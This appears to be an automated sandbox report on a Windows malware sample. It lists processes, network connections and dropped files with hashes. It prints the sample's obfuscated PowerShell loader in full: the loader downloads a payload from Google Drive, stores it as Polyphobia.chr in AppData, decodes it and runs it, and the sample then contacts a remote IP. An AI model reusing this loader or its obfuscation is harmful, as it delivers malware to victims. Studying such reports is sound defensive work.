(benignant 'Strum$ ircugFugitl Elpro Skilbbant aUn,unlakkor:ma,gfFTsader ReveeOddsee verrlFeereo,lattaMinimdKn cke kulsdPsyke Venst=Jehus Pr,buG AppeeAngivtSpect-fagk C Z,dloCu icnOverptUnde eFlnsen onsatPe rl Stran$Iden,TsphenaBibetlBl etkSubcuiLvensnSkuffg Ty o ');Illuminate (benignant 'Te ri$OpkasgGlycol andioCuckqbEncepaBirkelSkema: Su,uDSyncheMonishChattysynondflyverDesigoTeolog Indhe gambnspecia CapttLame,eReforseksek Sigtn= eobj Skrif[ BephSGedebyUdspisK nemtJeaneeNightmBehan.FolkeC VedioBarben Paa v okose Unorrdiamat ump] Leuc:Uover: mhttFDa bcrtrimpo ,agemPhyllBGumwoa ntrsT.alpeRevan6Stjyl4 FuseS .roetDatabr Dan iAbonnn GrizgSolso( ndes$ForbiFseriorrddikeTele eKurvfl,likkoAsfreaLyco dKnatte Gidsds rec)Nedri ');Illuminate (benignant 'Stret$DrikkgIna,gl Chamo ThunbTapl aTi hel Flym: EvneMU pinoFodsvn AutoaMedbesZulubtimpreeCru,brUnfraiRun sa IntelskimmlStokry.demo myt,l=Pseud Shera[unadoSA timyPr ntsCaseltKuvereScreemTryki.R,gneTFir ee eillxcypritSk.ve.SallyE atinTortucUnderoMikr d Dea iL.tmenJellig Over]Indbi:Achen:Inve,ACome SPlutoCTankeISmi eI Pjat.AfledGTil ne PlustFalkoS.ontrtDilapr ntesiin ldn kvalgButan( Bunk$ ClifDTropaeSkaanh SoleyAmanudFyldnrUnderoSlaskgExotieCryptnAntigaoverpt Ved eSllersD ase)Skrum ');Illuminate (benignant 'Spist$HomoggFusspltilskoBoundbDurabaSnufflHplas:Ka muE FraglSpectoMavefrFor igWhik,lS,tsseSkattt InulsAfskr= Maes$SidesMIntrao enannCykelaStikpsUdfldtTow.leRestirMegatiUvanea.esorl Selvlarbe.yUndet.Wit,asSem nuFlag bCen tsAdenot AargrTanghiLangsnFortjgDupli( Ko v$MetodP Pr,ba vulrLngodiYndliaEnsbesM kniaSubdeu Ko fr AftruB agusPrisf, Akk $Tortud.verfr.purguR.dskmNozz.hFjerteAerifaStomad.rbejsTapn,) Vrdi ');Illuminate $Elorglets;"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Desorganiseredes Pyramideselskab Tjenestevogne Silkesommerfugles #>;$Krogster='Esdragons';<#Repellant Telephonical Islamize Nierens Terrazzo #>;$Corintha=$host.PrivateData;If ($Corintha) {$Allopathically201++;}function benignant($Sopransaxofonernes43){$Disponibel237=$Sopransaxofonernes43.Length-$Allopathically201;for( $Lettende=5;$Lettende -lt $Disponibel237;$Lettende+=6){$Amtshospitalet+=$Sopransaxofonernes43[$Lettende];}$Amtshospitalet;}function Illuminate($Billiggres){ . ($Rewriting) ($Billiggres);}$Kolonneformats=benignant 'FolkeM Nym.opostpzBu uni CololorbiclIdioca abel/ Prot5Ap.ea.Nonim0Ovi.o Dagg (.koldWm ksii Ant.n BraddBaluso nstywCo,kasKad.g ,erstNDistaTCur,i Outsm1Lie,t0skudv.Bj.in0Angul;trlgn tepaWUdkraiHe epnSulte6Skruk4Illum;Outji Haa dxBobbi6 Frem4 atel;Rever BlairrTilbavInstr:Overk1D,eli2 Illa1 Holo.Stick0 Smin) obbe BellyG RemaeOmnorcAvlinkSadomoKontr/Ferti2Angst0uncas1 Mi,g0forpl0 Hume1spge.0 aske1Viki, GulerFbetraiBkkenrR sureUngdofSaturosynsixNa ur/Undga1bar,t2Therm1 D ce.Kamme0Tapre ';$Extensional=benignant 'TrreruAfskaSAltitedisfarCount-SandwaYean.gDisauEstrepnP nsutN,kro ';$Sympathising=benignant 'Betokh Dvrgt L.gwt PolepOejens V.lu:vorac/Myela/T eeddP,ecarKvartiDr,itvTho.seMouss.Andrug ProdoeuthaoskiftgSurhelRend.eAvert.SeawecPlu boInburm Biks/NeminuSleekcSkade?Arr seKanalxMidstpKon po cyklrHu kotTen e=AgathdStadso Bellw nemn kriglStetsoRetinaSkelsdmonni&Antiqi SheddIndls= Tite1 Sept1 Bensb notfYVillauDem,bWDe urRA fgasLydig1platiL tpa_ PagawSkrmmOAtricpOrlo PFradrqspareqElegiqSe.tenOs meBHel e2tagdk1Vaads7UnmoriFamesq Induq BolszEgoceWAffalaScorpASeman5 Navn7 Supe6Fljet ';$Somberly=benignant 'R,con>Svine ';$Rewriting=benignant 'Sger.ISpeirE podoxMasse ';$argusblikkenes='Seeress';$skrvebetonerne = benignant 'dagpaeNaur.cDura.h arifoBlaap skrin%Mond,a,repppEkspepBlackdTransa intt Vella mona%A.tin\ detaPO hreoForeclantifyMeninpch orhAffalojo rnbMotoriLokuma nuti.rallecSvimlhScopor Cher Klokk&Isopa&tanks Amy oeSoltrcHoflehBruseoPr co Over,tFuppe ';Illuminate (benignant 'Aircr$SkrumgSanselRegeno Vamob h nka DemolSmelt:FogleJFortioTripuuInte rExpednInc ia K mnlPara.iTilsmsUnappewishbrConfee Naugn AricdErotoeT lst=Unm s(RyotscB,achmGlacid Varm Udpan/AnkomcPlump Decli$F ingspassikOrthor An tvWheyseNoncobD.tabeUndertRoul,oDemilnAcci eSuperr kelenExtraeSpild)St,rs ');Illuminate (benignant 'Farin$BetjegFelo.lFors oGevrkbWife aSubtrlTolkn:FilmeHAtwiroFolsomO yceoUltraioverroAdvaruOs,eosSammeiSc.weaVaricnEks.a=Bisam$Bit eS Modey Anc mmi impReperaBystyt Su ehTrevliCaphisMrkvri N genEgotrgU sti. bibls Ory p KraflSubmaigraphtDusse(Sashe$ Mo fSa chooL.nirm lsgrb arneeOverbrMurrslAdelsydanma)Maldi ');Illuminate (benignant 'Karto[Ursk NAtombeS ntit Ned .Alie.SFradre BlehrSyva,vMezaiiOvertcAlligeGrim,PWauchoWhangiP,olenper otSelvhMEgbata unden lskva an,egStosheBryggrImmor]Forha:kod i:Ti.reSDdirreUpflac Phenu Balsr PolyiPr,mit obbeyTeamaPKsendrReap,o randtMnt,eo paltcRett oZealolGless Usvig=Fore Subga[DipnoNEpiple WalltPorce.Afle,S BianeFrottcEternu .uggr.kmtei Allet atmyPens PUniqurForm oUdkketDiseno OligcCineaoEsocilVi ifT SkriyO.erbpWincheBeco.]Rembo:p.esb: ,ickTClauslPel isFildi1Firel2raadg ');$Sympathising=$Homoiousian[0];$Tewing= (benignant 'Hunde$Prelig ,ntilAntidoGenerBComp ATil,tl Ste,:,andsHtetraoVulcaMKrafto T,arNRestsYforfrMunitee poreSTrac = Kaf N B vaEIn erWSheet-Indt O ,odkBBedrijPo teENytaaCAnkehTAgter Hunchsthe.ryForhiSputtaTHave,eBug.pm Yeel.Muz rnByboee CabaTTalep.StormwTrkloE uverbIsog CSpeciLbl myi FaneEMerlon agrat');$Tewing+=$Journaliserende[1];Illuminate ($Tewing);Illuminate (benignant ' Fi a$HornbH FlatoCo ubmForhaoSupern Tegnyeyep mBlikdetnd msSkaal. apilH Evene hecka flstdafsineD pkorJord,sProse[ Misu$chasiETaccaxSprint ynsmeH poan Kel s alici HalooAmicanFi fia redlS.eri]Dawsp=Brneb$ Hie KSuperoHol glAsymmoTilesnHea.en UnhueMela fChadooSk dur F ulmothe aRorpitSi.hos Esco ');$Sensationelt=benignant 'Br,ge$ Mi rHFdr loB,awsmTagetoIsbryn MyteyCromlmcatcheForsaspriv,. SupeD GrinoAp stwFadernBefollFjer oGygesaArtildLeje,FOvermiEnervlUndgaeNati.( O,er$HysteSArea,ySpinamUnaffpNaetha e oit monghResbeiFemogsstr,pi HvornBravagStrik,perse$LrkerT Ramsa ecilCarbokSoliciSup rn Pe cgSvovl)Isdes ';$Talking=$Journaliserende[0];Illuminate (benignant ' aafe$HielaGS igelSh ieoD,monB Minea vet LB rgo:VldedtNou.eAEx anl Platl edbaSExacteBogfiSM lli=K pre(Thi,ut sek,ECourtSStemmtpurre-WritePDatosAReoleTU,ivah Bru Elvr$Hya,ot consaAtlanLSkolekRgto,iProgrnimmung.dluf)Lufth ');while (!$Tallses) {Illuminate (benignant 'Erst $traf,gAmo il ehebouns,obIgraiaChinqlMunds:MokkaHEnr,boSub bbStyggeadsti=Skriv$Acr.ntEmpowr .alcuKuf,yeEll t ') ;Illuminate $Sensationelt;Illuminate (benignant 'TermiSPhalatSkidtaHeterrMercitBusga- Bo mSFire lLiguseSpasmeLowripwight Spl 4 ,elt ');Illuminate (benignant ' Juba$SnydegMintmlNemo,oSub ubShil,a s ltlMicro:PhasiTG ecia issolAnnihlInseqsPrehyeD ynasKonkr=Unsta( all,TMalade.raves ntictFrugt- EighPYamaha tontS roghk ige Resil$HrderT Traba PolylArtikk luksi ResonUde ogdybtr)S,ive ') ;Illuminate (benignant 'Tren.$eftergAna.tlHenveoCluppbSva.taTermilUdvok:HaandESmr ecUns ic UnadlCopro=Udbrn$ De,tg Sr elHjtidoNabovbAds rateks lMenuk:OverwBSkyenu Gra n Is skZe ue+Idole+ Band%Unrue$I,tfaHInstroHummemNaunto AfskiDimoloAflveuSansesIglooiMedi.aSnd rnSinog.Budg cSalvio.lankuForgrnVestetIndav ') ;$Sympathising=$Homoiousian[$Eccl];}$Pariasaurus=286978;$drumheads=29373;Illuminate (benignant 'Strum$ ircugFugitl Elpro Skilbbant aUn,unlakkor:ma,gfFTsader ReveeOddsee verrlFeereo,lattaMinimdKn cke kulsdPsyke Venst=Jehus Pr,buG AppeeAngivtSpect-fagk C Z,dloCu icnOverptUnde eFlnsen onsatPe rl Stran$Iden,TsphenaBibetlBl etkSubcuiLvensnSkuffg Ty o ');Illuminate (benignant 'Te ri$OpkasgGlycol andioCuckqbEncepaBirkelSkema: Su,uDSyncheMonishChattysynondflyverDesigoTeolog Indhe gambnspecia CapttLame,eReforseksek Sigtn= eobj Skrif[ BephSGedebyUdspisK nemtJeaneeNightmBehan.FolkeC VedioBarben Paa v okose Unorrdiamat ump] Leuc:Uover: mhttFDa bcrtrimpo ,agemPhyllBGumwoa ntrsT.alpeRevan6Stjyl4 FuseS .roetDatabr Dan iAbonnn GrizgSolso( ndes$ForbiFseriorrddikeTele eKurvfl,likkoAsfreaLyco dKnatte Gidsds rec)Nedri ');Illuminate (benignant 'Stret$DrikkgIna,gl Chamo ThunbTapl aTi hel Flym: EvneMU pinoFodsvn AutoaMedbesZulubtimpreeCru,brUnfraiRun sa IntelskimmlStokry.demo myt,l=Pseud Shera[unadoSA timyPr ntsCaseltKuvereScreemTryki.R,gneTFir ee eillxcypritSk.ve.SallyE atinTortucUnderoMikr d Dea iL.tmenJellig Over]Indbi:Achen:Inve,ACome SPlutoCTankeISmi eI Pjat.AfledGTil ne PlustFalkoS.ontrtDilapr ntesiin ldn kvalgButan( Bunk$ ClifDTropaeSkaanh SoleyAmanudFyldnrUnderoSlaskgExotieCryptnAntigaoverpt Ved eSllersD ase)Skrum ');Illuminate (benignant 'Spist$HomoggFusspltilskoBoundbDurabaSnufflHplas:Ka muE FraglSpectoMavefrFor igWhik,lS,tsseSkattt InulsAfskr= Maes$SidesMIntrao enannCykelaStikpsUdfldtTow.leRestirMegatiUvanea.esorl Selvlarbe.yUndet.Wit,asSem nuFlag bCen tsAdenot AargrTanghiLangsnFortjgDupli( Ko v$MetodP Pr,ba vulrLngodiYndliaEnsbesM kniaSubdeu Ko fr AftruB agusPrisf, Akk $Tortud.verfr.purguR.dskmNozz.hFjerteAerifaStomad.rbejsTapn,) Vrdi ');Illuminate $Elorglets;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Polyphobia.chr && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 238.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 225.187.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.187.227:80 | o.pki.goog | tcp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 215.191.184.137.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 44.56.20.217.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | 25.140.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
memory/4404-0-0x00007FFDBE673000-0x00007FFDBE675000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u0yyucl0.ogp.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4404-10-0x000001217DE20000-0x000001217DE42000-memory.dmp
memory/4404-11-0x00007FFDBE670000-0x00007FFDBF131000-memory.dmp
memory/4404-12-0x00007FFDBE670000-0x00007FFDBF131000-memory.dmp
memory/4404-15-0x00007FFDBE673000-0x00007FFDBE675000-memory.dmp
memory/4404-16-0x00007FFDBE670000-0x00007FFDBF131000-memory.dmp
memory/2592-17-0x0000000002AE0000-0x0000000002B16000-memory.dmp
memory/2592-18-0x00000000056E0000-0x0000000005D08000-memory.dmp
memory/2592-19-0x0000000005430000-0x0000000005452000-memory.dmp
memory/2592-20-0x00000000054D0000-0x0000000005536000-memory.dmp
memory/2592-21-0x00000000055B0000-0x0000000005616000-memory.dmp
memory/4404-27-0x00007FFDBE670000-0x00007FFDBF131000-memory.dmp
memory/2592-28-0x0000000005D10000-0x0000000006064000-memory.dmp
memory/4404-29-0x00007FFDBE670000-0x00007FFDBF131000-memory.dmp
memory/2592-34-0x0000000006380000-0x000000000639E000-memory.dmp
memory/2592-35-0x00000000063B0000-0x00000000063FC000-memory.dmp
memory/2592-36-0x0000000007C00000-0x000000000827A000-memory.dmp
memory/2592-37-0x00000000068F0000-0x000000000690A000-memory.dmp
memory/2592-38-0x0000000007620000-0x00000000076B6000-memory.dmp
memory/2592-39-0x00000000075C0000-0x00000000075E2000-memory.dmp
memory/2592-40-0x0000000008830000-0x0000000008DD4000-memory.dmp
C:\Users\Admin\AppData\Roaming\Polyphobia.chr
| MD5 | 8cc3f41f8eb389e168dfefb6c8d3d5e4 |
| SHA1 | 0d9b63c6903242e7b6a8320934109007693a6015 |
| SHA256 | a5ac06222217caee563724a3f4a6198f2db9c8faade6690ca4646a3208e1f4a2 |
| SHA512 | efd21158a60207dc440061b4d20a552a1f2d95d7c559994e3a052911006f25fdddfa6ff251e9e1658276f3f847c8b841ae9bbbac4846383d984209af715ac65c |
memory/2592-42-0x0000000008DE0000-0x000000000B948000-memory.dmp
memory/4404-43-0x00007FFDBE670000-0x00007FFDBF131000-memory.dmp
memory/4816-44-0x0000000000C50000-0x00000000037B8000-memory.dmp
memory/4816-58-0x0000000000C50000-0x00000000037B8000-memory.dmp
memory/4404-61-0x00007FFDBE670000-0x00007FFDBF131000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-523280732-2327480845-3730041215-1000\0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-523280732-2327480845-3730041215-1000\0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |